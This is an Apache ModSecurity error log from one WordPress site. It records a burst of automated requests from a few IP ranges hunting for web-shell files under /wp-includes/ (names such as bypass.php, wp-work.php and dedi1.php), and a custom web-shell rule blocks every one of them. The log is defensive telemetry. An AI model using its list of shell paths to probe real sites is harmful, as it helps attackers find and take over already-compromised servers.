[Mon Apr 13 21:18:22.509065 2026] [:error] [pid 63311:tid 63379] [client 185.192.71.96:52181] [client 185.192.71.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "adztHqHjrGN1MqBCVFkLnwAAAIg"]
[Mon Apr 13 21:18:27.670757 2026] [:error] [pid 7228:tid 7245] [client 91.230.225.245:30077] [client 91.230.225.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "adztIwEnn1dQrOSHHNWiiQAAAQ8"]
[Mon Apr 13 21:18:32.636596 2026] [:error] [pid 57183:tid 57196] [client 91.230.225.57:39085] [client 91.230.225.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "adztKDDO3t8R5NaxzYRSFAAAAUs"]
[Mon Apr 13 21:18:34.067358 2026] [:error] [pid 9314:tid 9317] [client 185.92.25.3:26797] [client 185.92.25.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "adztKm_r4W8fX2GWyGQqPAAAAYE"]
[Mon Apr 13 21:18:42.023823 2026] [:error] [pid 63406:tid 63431] [client 91.230.225.57:63443] [client 91.230.225.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adztMrHZEIkQ0Zmgp5rGMgAAANQ"]
[Mon Apr 13 21:18:45.567424 2026] [:error] [pid 57183:tid 57194] [client 185.192.71.84:32509] [client 185.192.71.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "adztNTDO3t8R5NaxzYRSPQAAAUk"]
[Mon Apr 13 21:18:51.477003 2026] [:error] [pid 7228:tid 7244] [client 91.230.225.61:47217] [client 91.230.225.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "adztOwEnn1dQrOSHHNWi5QAAAQ4"]
[Mon Apr 13 21:18:57.574399 2026] [:error] [pid 63311:tid 63391] [client 185.192.71.92:57887] [client 185.192.71.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adztQaHjrGN1MqBCVFkL3gAAAJQ"]
[Mon Apr 13 21:19:04.209092 2026] [:error] [pid 63310:tid 63348] [client 91.230.225.244:39861] [client 91.230.225.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "adztSHoXpRU5ztmwPjJh-QAAAEQ"]
[Mon Apr 13 21:19:10.529414 2026] [:error] [pid 9314:tid 9335] [client 91.230.225.242:51239] [client 91.230.225.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adztTm_r4W8fX2GWyGQqhwAAAZM"]
[Mon Apr 13 21:19:21.165896 2026] [:error] [pid 9314:tid 9337] [client 91.230.225.56:45289] [client 91.230.225.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adztWW_r4W8fX2GWyGQqpAAAAZU"]
[Mon Apr 13 21:19:22.803186 2026] [:error] [pid 7228:tid 7248] [client 185.192.71.87:43713] [client 185.192.71.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "adztWgEnn1dQrOSHHNWjMAAAARI"]
[Mon Apr 13 21:19:25.079722 2026] [:error] [pid 7228:tid 7244] [client 91.230.225.58:40697] [client 91.230.225.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adztXQEnn1dQrOSHHNWjNwAAAQ4"]
[Mon Apr 13 21:19:26.423284 2026] [:error] [pid 63309:tid 63319] [client 91.230.225.247:37951] [client 91.230.225.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adztXkpIKZ10weXpf0UvygAAAAY"]
[Mon Apr 13 21:19:30.803187 2026] [:error] [pid 63310:tid 63349] [client 185.192.71.89:23505] [client 185.192.71.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adztYnoXpRU5ztmwPjJiOAAAAEU"]
[Mon Apr 13 21:19:32.495786 2026] [:error] [pid 57183:tid 57196] [client 91.230.225.60:56427] [client 91.230.225.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "adztZDDO3t8R5NaxzYRSewAAAUs"]
[Mon Apr 13 21:19:36.740193 2026] [:error] [pid 63311:tid 63393] [client 91.230.225.241:61691] [client 91.230.225.241] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adztaKHjrGN1MqBCVFkMAQAAAJY"]
[Mon Apr 13 21:19:41.156413 2026] [:error] [pid 9314:tid 9327] [client 91.230.225.64:58177] [client 91.230.225.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "adztbW_r4W8fX2GWyGQq0QAAAYs"]
[Mon Apr 13 21:19:43.668449 2026] [:error] [pid 9314:tid 9336] [client 91.230.225.247:65389] [client 91.230.225.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adztb2_r4W8fX2GWyGQq2QAAAZQ"]
[Mon Apr 13 21:19:45.706713 2026] [:error] [pid 9314:tid 9318] [client 91.230.225.246:46253] [client 91.230.225.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "adztcW_r4W8fX2GWyGQq3QAAAYI"]
[Mon Apr 13 21:19:48.818816 2026] [:error] [pid 63309:tid 63327] [client 185.192.71.90:63673] [client 185.192.71.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adztdEpIKZ10weXpf0Uv5wAAAA4"]
[Mon Apr 13 21:19:53.083713 2026] [:error] [pid 63406:tid 63427] [client 185.192.71.84:30019] [client 185.192.71.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "adztebHZEIkQ0Zmgp5rGvgAAANA"]
[Mon Apr 13 21:20:00.286021 2026] [:error] [pid 9314:tid 9323] [client 185.192.71.85:48033] [client 185.192.71.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adztgG_r4W8fX2GWyGQq9gAAAYc"]
[Mon Apr 13 21:20:10.032401 2026] [:error] [pid 63406:tid 63414] [client 185.192.71.97:52421] [client 185.192.71.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "adztirHZEIkQ0Zmgp5rHAAAAAMM"]
[Mon Apr 13 21:20:15.422958 2026] [:error] [pid 9314:tid 9335] [client 185.192.71.98:24333] [client 185.192.71.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adztj2_r4W8fX2GWyGQrOgAAAZM"]
[Mon Apr 13 21:20:16.606943 2026] [:error] [pid 57183:tid 57208] [client 91.230.225.60:36073] [client 91.230.225.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adztkDDO3t8R5NaxzYRSyAAAAVc"]
[Mon Apr 13 21:20:22.869057 2026] [:error] [pid 57183:tid 57189] [client 185.192.71.90:24779] [client 185.192.71.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adztljDO3t8R5NaxzYRS3wAAAUQ"]
[Mon Apr 13 21:20:28.128854 2026] [proxy_fcgi:error] [pid 9314:tid 9340] [client 185.192.71.93:38247] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 21:20:28.470817 2026] [proxy_fcgi:error] [pid 9314:tid 9324] [client 185.192.71.93:38247] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 21:20:28.750660 2026] [proxy_fcgi:error] [pid 9314:tid 9321] [client 185.192.71.93:38247] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 21:20:33.057531 2026] [:error] [pid 9314:tid 9335] [client 185.192.71.93:38247] [client 185.192.71.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "adztoW_r4W8fX2GWyGQrmgAAAZM"]
[Mon Apr 13 21:20:35.080814 2026] [:error] [pid 63406:tid 63430] [client 91.230.225.244:44105] [client 91.230.225.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "adzto7HZEIkQ0Zmgp5rHGwAAANM"]
[Mon Apr 13 21:20:37.897409 2026] [:error] [pid 7228:tid 7239] [client 185.92.25.1:27927] [client 185.92.25.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "adztpQEnn1dQrOSHHNWjbAAAAQk"]
[Mon Apr 13 21:20:39.904581 2026] [:error] [pid 63311:tid 63385] [client 185.192.71.91:48555] [client 185.192.71.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "adztp6HjrGN1MqBCVFkMKQAAAI4"]
[Mon Apr 13 21:20:42.762354 2026] [:error] [pid 57183:tid 57206] [client 185.192.71.92:60241] [client 185.192.71.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "adztqjDO3t8R5NaxzYRTIwAAAVU"]
[Mon Apr 13 21:20:44.955666 2026] [:error] [pid 63406:tid 63430] [client 91.230.225.65:46079] [client 91.230.225.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "adztrLHZEIkQ0Zmgp5rHLwAAANM"]
[Mon Apr 13 21:20:47.940011 2026] [:error] [pid 63406:tid 63415] [client 185.192.71.91:56955] [client 185.192.71.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "adztr7HZEIkQ0Zmgp5rHPAAAAMQ"]
[Mon Apr 13 21:20:50.225443 2026] [:error] [pid 63406:tid 63430] [client 91.230.225.246:53837] [client 91.230.225.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "adztsrHZEIkQ0Zmgp5rHRgAAANM"]
[Mon Apr 13 21:20:51.334112 2026] [:error] [pid 57183:tid 57191] [client 91.230.225.68:55387] [client 91.230.225.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "adztszDO3t8R5NaxzYRTPwAAAUY"]
[Mon Apr 13 21:20:54.559035 2026] [:error] [pid 57183:tid 57188] [client 185.92.25.119:21215] [client 185.92.25.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "adzttjDO3t8R5NaxzYRTRwAAAUM"]
[Mon Apr 13 21:21:00.574266 2026] [:error] [pid 9314:tid 9318] [client 185.192.71.87:36719] [client 185.192.71.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "adztvG_r4W8fX2GWyGQrtwAAAYI"]
[Mon Apr 13 21:21:03.393610 2026] [:error] [pid 9314:tid 9326] [client 91.230.225.249:55481] [client 91.230.225.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "adztv2_r4W8fX2GWyGQrugAAAYo"]
[Mon Apr 13 21:21:08.613494 2026] [:error] [pid 7228:tid 7242] [client 185.92.25.3:36537] [client 185.92.25.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "adztxAEnn1dQrOSHHNWjfQAAAQw"]
[Mon Apr 13 21:21:13.683385 2026] [:error] [pid 9314:tid 9320] [client 91.230.225.66:48825] [client 91.230.225.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "adztyW_r4W8fX2GWyGQrywAAAYQ"]
[Mon Apr 13 21:21:19.578034 2026] [:error] [pid 63311:tid 63375] [client 185.92.25.2:43499] [client 185.92.25.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "adztz6HjrGN1MqBCVFkMVgAAAIQ"]
[Mon Apr 13 21:21:26.557964 2026] [:error] [pid 7228:tid 7240] [client 91.230.225.60:36805] [client 91.230.225.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "adzt1gEnn1dQrOSHHNWjkwAAAQo"]
[Mon Apr 13 21:21:30.415704 2026] [:error] [pid 63309:tid 63318] [client 91.230.225.240:47275] [client 91.230.225.240] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "adzt2kpIKZ10weXpf0UwLAAAAAU"]
[Mon Apr 13 21:21:52.257490 2026] [:error] [pid 63311:tid 63376] [client 91.230.225.61:56757] [client 91.230.225.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adzt8KHjrGN1MqBCVFkMigAAAIU"]
[Mon Apr 13 21:21:54.840423 2026] [:error] [pid 9314:tid 9325] [client 185.92.25.1:64135] [client 185.92.25.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "adzt8m_r4W8fX2GWyGQsCQAAAYk"]
[Mon Apr 13 21:21:58.149509 2026] [:error] [pid 63406:tid 63424] [client 185.192.71.83:27451] [client 185.192.71.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "adzt9rHZEIkQ0Zmgp5rHvQAAAM0"]
[Mon Apr 13 21:22:03.547215 2026] [:error] [pid 57183:tid 57196] [client 185.192.71.97:61345] [client 185.192.71.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adzt-zDO3t8R5NaxzYRTmwAAAUs"]
[Mon Apr 13 21:22:06.102110 2026] [:error] [pid 63406:tid 63430] [client 91.230.225.63:31479] [client 91.230.225.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adzt_rHZEIkQ0Zmgp5rH0wAAANM"]
[Mon Apr 13 21:22:12.745919 2026] [:error] [pid 9314:tid 9327] [client 91.230.225.66:27483] [client 91.230.225.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adzuBG_r4W8fX2GWyGQsOgAAAYs"]
